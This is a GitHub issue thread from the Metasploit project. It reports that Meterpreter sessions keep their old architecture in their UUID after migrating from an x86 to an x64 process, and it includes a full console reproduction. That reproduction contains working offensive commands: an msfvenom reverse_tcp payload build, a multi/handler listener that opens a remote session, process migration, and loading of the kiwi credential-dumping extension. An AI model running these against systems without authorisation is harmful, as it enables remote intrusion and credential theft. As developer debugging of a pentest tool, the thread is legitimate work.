Meterpreter session architectures not tracked in MSF properly

[OJ]

Once a Meterpreter session has been established back to MSF, it's possible to migrate from one process to another, as we know.

Unfortunately there's a small issue where during or after migration, no steps are taken to make sure that the new architecture of the session is tracked. Ideally, we should update the UUID of the session to match the new architecture, but we don't.

This doesn't prove to be an issue while using an established session that has been migrated from one arch to another, but it does cause issues when that session is put to sleep/split and then returns to MSF.

When MSF gets the session coming back, it believes it to be the same as the original architecture, even if it's no longer then case thanks to migrating. I'm not sure yet if this is just down to the fact that we don't update the UUID when migrating, or whether our handlers are not correctly checking the UUID in stageless connections once they've come back in. I think we should be doing both.

Steps to reproduce

1. Set up a reverse_* handler of some kind (I used to reverse_https) that's x86 and has ExitOnSession set to false. Kick it off with run -j.
2. Create a matching payload/binary.
3. Execute the payload/binary on an x64 system, get a session.
4. Check to make sure sysinfo says Meterpreter : x86/win32.
5. Run uuid to see the current UUID details
6. Migrate the session to an x64 process.
7. Run sysinfo again and notice it changes to Meterpreter : x64/win64.
8. Run uuid and notice that the architecture returned is still x86=1/windows=1 as it was before.
9. Put the session to sleep for 1 second using sleep 1.
10. Wait for the session to come back, and interact with it.
11. Run sysinfo again and notice that we now have Meterpreter : x86/win32 again.
12. Run uuid and we still have the same details.

At this point we have mixed architecture things going on, which can result in bad things happening. If the user loads an extension at this point, they will see crashing happening as x86 binaries are thrown at x64 sessions.

Suggested approach

I think we should:

1. Make sure we update the UUID when migrating so that the arch matches.
2. Validate the UUID when stageless sessions are received, and/or immediately after staged sessions have finished loading their first stage.

If in doubt, we should always ask Meterp instead of trying to keep track of it at the MSF side.

Ping @hdm and @busterb since we chatted on IRC about it.

Thanks!

[hdm]

Thanks @OJ! One last item:

• Make sure the session object & database record have the new arch stored as well.

[justinsteven]

1 Set up a reverse_* handler of some kind (I used to reverse_https) that's x86 and has ExitOnSession set to false. Kick it off with run -j.

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.17.24.1
LHOST => 172.17.24.1
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

2 Create a matching payload/binary.

14:56:52[justin@diablo ~/opt/metasploit-framework](r7_master)% ./msfvenom -p windows/meterpret
er/reverse_tcp LHOST=172.17.24.1 LPORT=4444 -f exe -o $MYDIR/m.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Saved as: /tmp/tmp.Z6yDC8gVUx/m.exe

3 Execute the payload/binary on an x64 system, get a session.

4 Check to make sure sysinfo says Meterpreter : x86/win32.

meterpreter > sysinfo
Computer        : YUFFIE
OS              : Windows 10 (Build 10586).
Architecture    : x64 (Current Process is WOW64)
System Language : en_AU
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/win32

5 Run uuid to see the current UUID details

meterpreter > uuid
[+] UUID: 169e202616763839/x86=1/windows=1/2016-09-14T04:59:17Z

6 Migrate the session to an x64 process.

meterpreter > migrate 228
[*] Migrating from 2348 to 228...
[*] Migration completed successfully.

7 Run sysinfo again and notice it changes to Meterpreter : x64/win64.

meterpreter > sysinfo
Computer        : YUFFIE
OS              : Windows 10 (Build 10586).
Architecture    : x64
System Language : en_AU
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/win64

8 Run uuid and notice that the architecture returned is still x86=1/windows=1 as it was before.

meterpreter > uuid
[+] UUID: 169e202616763839/x86=1/windows=1/2016-09-14T04:59:17Z

9 Put the session to sleep for 1 second using sleep 1.

10 Wait for the session to come back, and interact with it.

meterpreter > sleep 1
[*] Telling the target instance to sleep for 1 seconds ...
[+] Target instance has gone to sleep, terminating current session.

[*] 172.17.24.133 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > 
[*] Sending stage (957999 bytes) to 172.17.24.133
[*] Meterpreter session 2 opened (172.17.24.1:4444 -> 172.17.24.133:1598) at 2016-09-14 15:00:
39 +1000

msf exploit(handler) > sessions -i 2

11 Run sysinfo again and notice that we now have Meterpreter : x86/win32 again.

meterpreter > sysinfo
Computer        : YUFFIE
OS              : Windows 10 (Build 10586).
Architecture    : x64
System Language : en_AU
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/win32

12 Run uuid and we still have the same details.

meterpreter > uuid
[+] UUID: 169e202616763839/x86=1/windows=1/2016-09-14T04:59:17Z

If the user loads an extension at this point, they will see crashing happening as x86 binaries are thrown at x64 sessions.

meterpreter > use kiwi
Loading extension kiwi...
[-] Failed to load extension: No response was received to the core_loadlib request.

And notepad.exe (the process I migrated to) crashes.

[OJ]

Thank you @justinsteven for the testing :)

[OJ]

@ccondon-r7 I'm thinking that this is no longer an issue, but we should test it nonetheless. There's a UUID sharing step that goes on (I believe) behind the scenes on session startup now so I think we're ok. But yeah, needs to be validated before we close it.